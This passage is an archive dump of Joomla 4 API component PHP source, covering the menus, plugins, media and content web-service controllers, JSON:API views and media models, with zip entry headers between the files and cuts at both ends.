'checked_out', 'checked_out_time', 'browserNav', 'access', 'img', 'template_style_id', 'params', 'lft', 'rgt', 'home', 'language', 'client_id', 'enabled', 'publish_up', 'publish_down', 'published', 'language_title', 'language_image', 'language_sef', 'editor', 'componentname', 'access_level', 'menutype_id', 'menutype_title', 'association', 'name', ]; /** * Execute and display a list items types. * * @return string * * @since 4.0.0 */ public function displayListTypes() { /** @var \Joomla\Component\Menus\Administrator\Model\MenutypesModel $model */ $model = $this->getModel(); $items = []; foreach ($model->getTypeOptions() as $type => $data) { $groupItems = []; foreach ($data as $item) { $item->id = implode('/', $item->request); $item->title = Text::_($item->title); $item->description = Text::_($item->description); $item->group = Text::_($type); $groupItems[] = $item; } $items = array_merge($items, $groupItems); } // Set up links for pagination $currentUrl = Uri::getInstance(); $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20]; $currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation); $offset = $currentPageQuery['offset']; $limit = $currentPageQuery['limit']; $totalItemsCount = \count($items); $totalPagesAvailable = ceil($totalItemsCount / $limit); $items = array_splice($items, $offset, $limit); $firstPage = clone $currentUrl; $firstPageQuery = $currentPageQuery; $firstPageQuery['offset'] = 0; $firstPage->setVar('page', $firstPageQuery); $nextPage = clone $currentUrl; $nextPageQuery = $currentPageQuery; $nextOffset = $currentPageQuery['offset'] + $limit; $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset; $nextPage->setVar('page', $nextPageQuery); $previousPage = clone $currentUrl; $previousPageQuery = $currentPageQuery; $previousOffset = $currentPageQuery['offset'] - $limit; $previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0; $previousPage->setVar('page', $previousPageQuery); $lastPage = clone $currentUrl; $lastPageQuery = $currentPageQuery; $lastPageQuery['offset'] = $totalPagesAvailable - $limit; $lastPage->setVar('page', $lastPageQuery); $collection = (new Collection($items, new JoomlaSerializer('menutypes'))); // Set the data into the document and render it $this->getDocument()->addMeta('total-pages', $totalPagesAvailable) ->setData($collection) ->addLink('self', (string) $currentUrl) ->addLink('first', (string) $firstPage) ->addLink('next', (string) $nextPage) ->addLink('previous', (string) $previousPage) ->addLink('last', (string) $lastPage); return $this->getDocument()->render(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if (\is_string($item->params)) { $item->params = json_decode($item->params); } return parent::prepareItem($item); } } PK!4oo3components/com_menus/src/View/Menus/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Api\View\Menus; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The menus view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'menutype', 'title', 'description', 'client_id', 'count_published', 'count_unpublished', 'count_trashed', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'asset_id', 'menutype', 'title', 'description', 'client_id', ]; } PK!* ;components/com_plugins/src/Controller/PluginsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Plugins\Api\Controller; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Controller\Exception; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\String\Inflector; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The plugins controller * * @since 4.0.0 */ class PluginsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'plugins'; /** * The default view for the display method. * * @var string * * @since 3.0 */ protected $default_view = 'plugins'; /** * Method to edit an existing record. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function edit() { $recordId = $this->input->getInt('id'); if (!$recordId) { throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404); } $data = json_decode($this->input->json->getRaw(), true); foreach ($data as $key => $value) { if (!\in_array($key, ['enabled', 'access', 'ordering'])) { throw new InvalidParameterException("Invalid parameter {$key}.", 400); } } /** @var \Joomla\Component\Plugins\Administrator\Model\PluginModel $model */ $model = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $item = $model->getItem($recordId); if (!isset($item->extension_id)) { throw new RouteNotFoundException('Item does not exist'); } $data['folder'] = $item->folder; $data['element'] = $item->element; $this->input->set('data', $data); return parent::edit(); } /** * Plugin list view with filtering of data * * @return static A BaseController object to support chaining. * * @since 4.0.0 */ public function displayList() { $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); if (\array_key_exists('element', $apiFilterInfo)) { $this->modelState->set('filter.element', $filter->clean($apiFilterInfo['element'], 'STRING')); } if (\array_key_exists('status', $apiFilterInfo)) { $this->modelState->set('filter.enabled', $filter->clean($apiFilterInfo['status'], 'INT')); } if (\array_key_exists('search', $apiFilterInfo)) { $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING')); } if (\array_key_exists('type', $apiFilterInfo)) { $this->modelState->set('filter.folder', $filter->clean($apiFilterInfo['type'], 'STRING')); } return parent::displayList(); } } PK!=||7components/com_plugins/src/View/Plugins/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Plugins\Api\View\Plugins; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The plugins view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'name', 'type', 'element', 'changelogurl', 'folder', 'client_id', 'enabled', 'access', 'protected', 'checked_out', 'checked_out_time', 'ordering', 'state', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'element', 'folder', 'checked_out', 'checked_out_time', 'enabled', 'access', 'ordering', 'editor', 'access_level', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->extension_id; unset($item->extension_id); return $item; } } PK![JYY:components/com_media/src/Controller/AdaptersController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service controller. * * @since 4.1.0 */ class AdaptersController extends ApiController { use ProviderManagerHelperTrait; /** * The content type of the item. * * @var string * @since 4.1.0 */ protected $contentType = 'adapters'; /** * The default view for the display method. * * @var string * * @since 4.1.0 */ protected $default_view = 'adapters'; /** * Display one specific adapter. * * @param string $path The path of the file to display. Leave empty if you want to retrieve data from the request. * * @return static A \JControllerLegacy object to support chaining. * * @throws InvalidPathException * @throws \Exception * * @since 4.1.0 */ public function displayItem($path = '') { // Set the id as the parent sets it as int $this->modelState->set('id', $this->input->get('id', '', 'string')); return parent::displayItem(); } } PK!;Yb.b.7components/com_media/src/Controller/MediaController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Controller; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Media\Administrator\Exception\FileExistsException; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; use Joomla\Component\Media\Api\Model\MediumModel; use Joomla\String\Inflector; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service controller. * * @since 4.1.0 */ class MediaController extends ApiController { use ProviderManagerHelperTrait; /** * The content type of the item. * * @var string * @since 4.1.0 */ protected $contentType = 'media'; /** * Query parameters => model state mappings * * @var array * @since 4.1.0 */ private static $listQueryModelStateMap = [ 'path' => [ 'name' => 'path', 'type' => 'STRING', ], 'url' => [ 'name' => 'url', 'type' => 'BOOLEAN', ], 'temp' => [ 'name' => 'temp', 'type' => 'BOOLEAN', ], 'content' => [ 'name' => 'content', 'type' => 'BOOLEAN', ], ]; /** * Item query parameters => model state mappings * * @var array * @since 4.1.0 */ private static $itemQueryModelStateMap = [ 'path' => [ 'name' => 'path', 'type' => 'STRING', ], 'url' => [ 'name' => 'url', 'type' => 'BOOLEAN', ], 'temp' => [ 'name' => 'temp', 'type' => 'BOOLEAN', ], 'content' => [ 'name' => 'content', 'type' => 'BOOLEAN', ], ]; /** * The default view for the display method. * * @var string * * @since 4.1.0 */ protected $default_view = 'media'; /** * Display a list of files and/or folders. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.1.0 * * @throws \Exception */ public function displayList() { // Set list specific request parameters in model state. $this->setModelState(self::$listQueryModelStateMap); // Display files in specific path. if ($this->input->exists('path')) { $this->modelState->set('path', $this->input->get('path', '', 'STRING')); } // Return files (not folders) as urls. if ($this->input->exists('url')) { $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN')); } // Map JSON:API compliant filter[search] to com_media model state. $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); // Search for files matching (part of) a name or glob pattern. if (\array_key_exists('search', $apiFilterInfo)) { $this->modelState->set('search', $filter->clean($apiFilterInfo['search'], 'STRING')); // Tell model to search recursively $this->modelState->set('search_recursive', $this->input->get('search_recursive', false, 'BOOLEAN')); } return parent::displayList(); } /** * Display one specific file or folder. * * @param string $path The path of the file to display. Leave empty if you want to retrieve data from the request. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.1.0 * * @throws InvalidPathException * @throws \Exception */ public function displayItem($path = '') { // Set list specific request parameters in model state. $this->setModelState(self::$itemQueryModelStateMap); // Display files in specific path. $this->modelState->set('path', $path ?: $this->input->get('path', '', 'STRING')); // Return files (not folders) as urls. if ($this->input->exists('url')) { $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN')); } return parent::displayItem(); } /** * Set model state using a list of mappings between query parameters and model state names. * * @param array $mappings A list of mappings between query parameters and model state names. * * @return void * * @since 4.1.0 */ private function setModelState(array $mappings): void { foreach ($mappings as $queryName => $modelState) { if ($this->input->exists($queryName)) { $this->modelState->set($modelState['name'], $this->input->get($queryName, '', $modelState['type'])); } } } /** * Method to add a new file or folder. * * @return void * * @since 4.1.0 * * @throws FileExistsException * @throws InvalidPathException * @throws InvalidParameterException * @throws \RuntimeException * @throws \Exception */ public function add(): void { $path = $this->input->json->get('path', '', 'STRING'); $content = $this->input->json->get('content', '', 'RAW'); $missingParameters = []; if (empty($path)) { $missingParameters[] = 'path'; } // Content is only required when it is a file if (empty($content) && strpos($path, '.') !== false) { $missingParameters[] = 'content'; } if (\count($missingParameters)) { throw new InvalidParameterException( Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', implode(' & ', $missingParameters)) ); } $this->modelState->set('path', $this->input->json->get('path', '', 'STRING')); // Check if an existing file may be overwritten. Defaults to false. $this->modelState->set('override', $this->input->json->get('override', false)); parent::add(); } /** * Method to check if it's allowed to add a new file or folder * * @param array $data An array of input data. * * @return boolean * * @since 4.1.0 */ protected function allowAdd($data = []): bool { $user = $this->app->getIdentity(); return $user->authorise('core.create', 'com_media'); } /** * Method to modify an existing file or folder. * * @return void * * @since 4.1.0 * * @throws FileExistsException * @throws InvalidPathException * @throws \RuntimeException * @throws \Exception */ public function edit(): void { // Access check. if (!$this->allowEdit()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403); } $path = $this->input->json->get('path', '', 'STRING'); $content = $this->input->json->get('content', '', 'RAW'); if (empty($path) && empty($content)) { throw new InvalidParameterException( Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', 'path | content') ); } $this->modelState->set('path', $this->input->json->get('path', '', 'STRING')); // For renaming/moving files, we need the path to the existing file or folder. $this->modelState->set('old_path', $this->input->get('path', '', 'STRING')); // Check if an existing file may be overwritten. Defaults to true. $this->modelState->set('override', $this->input->json->get('override', true)); $recordId = $this->save(); $this->displayItem($recordId); } /** * Method to check if it's allowed to modify an existing file or folder. * * @param array $data An array of input data. * * @return boolean * * @since 4.1.0 */ protected function allowEdit($data = [], $key = 'id'): bool { $user = $this->app->getIdentity(); // com_media's access rules contains no specific update rule. return $user->authorise('core.edit', 'com_media'); } /** * Method to create or modify a file or folder. * * @param integer $recordKey The primary key of the item (if exists) * * @return string The path * * @since 4.1.0 */ protected function save($recordKey = null) { // Explicitly get the single item model name. $modelName = $this->input->get('model', Inflector::singularize($this->contentType)); /** @var MediumModel $model */ $model = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]); $json = $this->input->json; // Decode content, if any if ($content = base64_decode($json->get('content', '', 'raw'))) { $this->checkContent(); } // If there is no content, com_media assumes the path refers to a folder. $this->modelState->set('content', $content); return $model->save(); } /** * Performs various checks to see if it is allowed to save the content. * * @return void * * @since 4.1.0 * * @throws \RuntimeException */ private function checkContent(): void { $params = ComponentHelper::getParams('com_media'); $helper = new \Joomla\CMS\Helper\MediaHelper(); $serverlength = $this->input->server->getInt('CONTENT_LENGTH'); // Check if the size of the request body does not exceed various server imposed limits. if ( ($params->get('upload_maxsize', 0) > 0 && $serverlength > ($params->get('upload_maxsize', 0) * 1024 * 1024)) || $serverlength > $helper->toBytes(ini_get('upload_max_filesize')) || $serverlength > $helper->toBytes(ini_get('post_max_size')) || $serverlength > $helper->toBytes(ini_get('memory_limit')) ) { throw new \RuntimeException(Text::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'), 400); } } /** * Method to delete an existing file or folder. * * @return void * * @since 4.1.0 * * @throws InvalidPathException * @throws \RuntimeException * @throws \Exception */ public function delete($id = null): void { if (!$this->allowDelete()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED', 403); } $this->modelState->set('path', $this->input->get('path', '', 'STRING')); $modelName = $this->input->get('model', Inflector::singularize($this->contentType)); $model = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]); $model->delete(); $this->app->setHeader('status', 204); } /** * Method to check if it's allowed to delete an existing file or folder. * * @return boolean * * @since 4.1.0 */ protected function allowDelete(): bool { $user = $this->app->getIdentity(); return $user->authorise('core.delete', 'com_media'); } } PK!jcפ3components/com_media/src/View/Media/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\View\Media; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service view * * @since 4.1.0 */ class JsonapiView extends BaseApiView { use ProviderManagerHelperTrait; /** * The fields to render item in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderItem = [ 'type', 'name', 'path', 'extension', 'size', 'mime_type', 'width', 'height', 'create_date', 'create_date_formatted', 'modified_date', 'modified_date_formatted', 'thumb_path', 'adapter', 'content', 'url', 'tempUrl', ]; /** * The fields to render items in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderList = [ 'type', 'name', 'path', 'extension', 'size', 'mime_type', 'width', 'height', 'create_date', 'create_date_formatted', 'modified_date', 'modified_date_formatted', 'thumb_path', 'adapter', 'content', 'url', 'tempUrl', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.1.0 */ protected function prepareItem($item) { // Media resources have no id. $item->id = '0'; return $item; } } PK!([;;6components/com_media/src/View/Adapters/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\View\Adapters; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service view * * @since 4.1.0 */ class JsonapiView extends BaseApiView { use ProviderManagerHelperTrait; /** * The fields to render item in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderItem = [ 'provider_id', 'name', 'path', ]; /** * The fields to render items in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderList = [ 'provider_id', 'name', 'path', ]; } PK!C1Zff-components/com_media/src/Model/MediaModel.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\CMS\MVC\Model\ListModelInterface; use Joomla\CMS\Pagination\Pagination; use Joomla\Component\Media\Administrator\Exception\FileNotFoundException; use Joomla\Component\Media\Administrator\Model\ApiModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting lists of media items. * * @since 4.1.0 */ class MediaModel extends BaseModel implements ListModelInterface { use ProviderManagerHelperTrait; /** * Instance of com_media's ApiModel * * @var ApiModel * @since 4.1.0 */ private $mediaApiModel; /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object, * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models. * * @var int * @since 4.1.0 */ private $total = 0; public function __construct($config = []) { parent::__construct($config); $this->mediaApiModel = new ApiModel(); } /** * Method to get a list of files and/or folders. * * @return array An array of data items. * * @since 4.1.0 */ public function getItems(): array { // Map web service model state to com_media options. $options = [ 'url' => $this->getState('url', false), 'temp' => $this->getState('temp', false), 'search' => $this->getState('search', ''), 'recursive' => $this->getState('search_recursive', false), 'content' => $this->getState('content', false), ]; ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { $files = $this->mediaApiModel->getFiles($adapterName, $path, $options); } catch (FileNotFoundException $e) { throw new ResourceNotFound( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object. * Because com_media's ApiModel does not support pagination as we know from regular ListModel * derived models, we always return all retrieved items. */ $this->total = \count($files); return $files; } /** * Method to get a \JPagination object for the data set. * * @return Pagination A Pagination object for the data set. * * @since 4.1.0 */ public function getPagination(): Pagination { return new Pagination($this->getTotal(), $this->getStart(), 0); } /** * Method to get the starting number of items for the data set. Because com_media's ApiModel * does not support pagination as we know from regular ListModel derived models, * we always start at the top. * * @return int The starting number of items available in the data set. * * @since 4.1.0 */ public function getStart(): int { return 0; } /** * Method to get the total number of items for the data set. * * @return int The total number of items available in the data set. * * @since 4.1.0 */ public function getTotal(): int { return $this->total; } } PK!5)/components/com_media/src/Model/AdapterModel.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting a single adapter item. * * @since 4.1.0 */ class AdapterModel extends BaseModel { use ProviderManagerHelperTrait; /** * Method to get a single adapter. * * @return \stdClass The adapter. * * @since 4.1.0 */ public function getItem(): \stdClass { list($provider, $account) = array_pad(explode('-', $this->getState('id'), 2), 2, null); if ($account === null) { throw new \Exception('Account was not set'); } $provider = $this->getProvider($provider); $adapter = $this->getAdapter($this->getState('id')); $obj = new \stdClass(); $obj->id = $provider->getID() . '-' . $adapter->getAdapterName(); $obj->provider_id = $provider->getID(); $obj->name = $adapter->getAdapterName(); $obj->path = $provider->getID() . '-' . $adapter->getAdapterName() . ':/'; return $obj; } } PK!Y7G G .components/com_media/src/Model/MediumModel.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound; use Joomla\CMS\MVC\Controller\Exception\Save; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\Component\Media\Administrator\Exception\FileExistsException; use Joomla\Component\Media\Administrator\Exception\FileNotFoundException; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Model\ApiModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting a single media item. * * @since 4.1.0 */ class MediumModel extends BaseModel { use ProviderManagerHelperTrait; /** * Instance of com_media's ApiModel * * @var ApiModel * @since 4.1.0 */ private $mediaApiModel; public function __construct($config = []) { parent::__construct($config); $this->mediaApiModel = new ApiModel(); } /** * Method to get a single files or folder. * * @return \stdClass A file or folder object. * * @since 4.1.0 * @throws ResourceNotFound */ public function getItem() { $options = [ 'path' => $this->getState('path', ''), 'url' => $this->getState('url', false), 'temp' => $this->getState('temp', false), 'content' => $this->getState('content', false), ]; ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { return $this->mediaApiModel->getFile($adapterName, $path, $options); } catch (FileNotFoundException $e) { throw new ResourceNotFound( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } } /** * Method to save a file or folder. * * @param string $path The primary key of the item (if exists) * * @return string The path * * @since 4.1.0 * * @throws Save */ public function save($path = null): string { $path = $this->getState('path', ''); $oldPath = $this->getState('old_path', ''); $content = $this->getState('content', null); $override = $this->getState('override', false); ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($path); // Trim adapter information from path if ($pos = strpos($path, ':/')) { $path = substr($path, $pos + 1); } // Trim adapter information from old path if ($pos = strpos($oldPath, ':/')) { $oldPath = substr($oldPath, $pos + 1); } $resultPath = ''; /** * If we have a (new) path and an old path, we want to move an existing * file or folder. This must be done before updating the content of a file, * if also requested (see below). */ if ($path && $oldPath) { try { // ApiModel::move() (or actually LocalAdapter::move()) returns a path with leading slash. $resultPath = trim( $this->mediaApiModel->move($adapterName, $oldPath, $path, $override), '/' ); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $oldPath ), 404 ); } } // If we have a (new) path but no old path, we want to create a // new file or folder. if ($path && !$oldPath) { // com_media expects separate directory and file name. // If we moved the file before, we must use the new path. $basename = basename($resultPath ?: $path); $dirname = dirname($resultPath ?: $path); try { // If there is content, com_media's assumes the new item is a file. // Otherwise a folder is assumed. $name = $content ? $this->mediaApiModel->createFile( $adapterName, $basename, $dirname, $content, $override ) : $this->mediaApiModel->createFolder( $adapterName, $basename, $dirname, $override ); $resultPath = $dirname . '/' . $name; } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $dirname . '/' . $basename ), 404 ); } catch (FileExistsException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_EXISTS', $dirname . '/' . $basename ), 400 ); } catch (InvalidPathException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE', $dirname . '/' . $basename ), 400 ); } } // If we have no (new) path but we do have an old path and we have content, // we want to update the contents of an existing file. if ($oldPath && $content) { // com_media expects separate directory and file name. // If we moved the file before, we must use the new path. $basename = basename($resultPath ?: $oldPath); $dirname = dirname($resultPath ?: $oldPath); try { $this->mediaApiModel->updateFile( $adapterName, $basename, $dirname, $content ); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $dirname . '/' . $basename ), 404 ); } catch (InvalidPathException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE', $dirname . '/' . $basename ), 400 ); } $resultPath = $resultPath ?: $oldPath; } // If we still have no result path, something fishy is going on. if (!$resultPath) { throw new Save( Text::_( 'WEBSERVICE_COM_MEDIA_UNSUPPORTED_PARAMETER_COMBINATION' ), 400 ); } return $resultPath; } /** * Method to delete an existing file or folder. * * @return void * * @since 4.1.0 * @throws Save */ public function delete(): void { ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { $this->mediaApiModel->delete($adapterName, $path); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } } } PK!v| 0components/com_media/src/Model/AdaptersModel.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\CMS\MVC\Model\ListModelInterface; use Joomla\CMS\Pagination\Pagination; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting lists of media adapters. * * @since 4.1.0 */ class AdaptersModel extends BaseModel implements ListModelInterface { use ProviderManagerHelperTrait; /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object, * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models. * * @var int * @since 4.1.0 */ private $total = 0; /** * Method to get a list of files and/or folders. * * @return array An array of data items. * * @since 4.1.0 */ public function getItems(): array { $adapters = []; foreach ($this->getProviderManager()->getProviders() as $provider) { foreach ($provider->getAdapters() as $adapter) { $obj = new \stdClass(); $obj->id = $provider->getID() . '-' . $adapter->getAdapterName(); $obj->provider_id = $provider->getID(); $obj->name = $adapter->getAdapterName(); $obj->path = $provider->getID() . '-' . $adapter->getAdapterName() . ':/'; $adapters[] = $obj; } } // A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object. $this->total = \count($adapters); return $adapters; } /** * Method to get a \JPagination object for the data set. * * @return Pagination A Pagination object for the data set. * * @since 4.1.0 */ public function getPagination(): Pagination { return new Pagination($this->getTotal(), $this->getStart(), 0); } /** * Method to get the starting number of items for the data set. Because com_media's ApiModel * does not support pagination as we know from regular ListModel derived models, * we always start at the top. * * @return integer The starting number of items available in the data set. * * @since 4.1.0 */ public function getStart(): int { return 0; } /** * Method to get the total number of items for the data set. * * @return integer The total number of items available in the data set. * * @since 4.1.0 */ public function getTotal(): int { return $this->total; } } PK!nLU**<components/com_content/src/Controller/ArticlesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Api\Controller; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The article controller * * @since 4.0.0 */ class ArticlesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'articles'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'articles'; /** * Article list view amended to add filtering of data * * @return static A BaseController object to support chaining. * * @since 4.0.0 */ public function displayList() { $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); if (\array_key_exists('author', $apiFilterInfo)) { $this->modelState->set('filter.author_id', $filter->clean($apiFilterInfo['author'], 'INT')); } if (\array_key_exists('category', $apiFilterInfo)) { $this->modelState->set('filter.category_id', $filter->clean($apiFilterInfo['category'], 'INT')); } if (\array_key_exists('search', $apiFilterInfo)) { $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING')); } if (\array_key_exists('state', $apiFilterInfo)) { $this->modelState->set('filter.published', $filter->clean($apiFilterInfo['state'], 'INT')); } if (\array_key_exists('featured', $apiFilterInfo)) { $this->modelState->set('filter.featured', $filter->clean($apiFilterInfo['featured'], 'INT')); } if (\array_key_exists('tag', $apiFilterInfo)) { $this->modelState->set('filter.tag', $filter->clean($apiFilterInfo['tag'], 'INT')); } if (\array_key_exists('language', $apiFilterInfo)) { $this->modelState->set('filter.language', $filter->clean($apiFilterInfo['language'], 'STRING')); } $apiListInfo = $this->input->get('list', [], 'array'); if (array_key_exists('ordering', $apiListInfo)) { $this->modelState->set('list.ordering', $filter->clean($apiListInfo['ordering'], 'STRING')); } if (array_key_exists('direction', $apiListInfo)) { $this->modelState->set('list.direction', $filter->clean($apiListInfo['direction'], 'STRING')); } return parent::displayList(); } /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { foreach (FieldsHelper::getFields('com_content.article') as $field) { if (isset($data[$field->name])) { 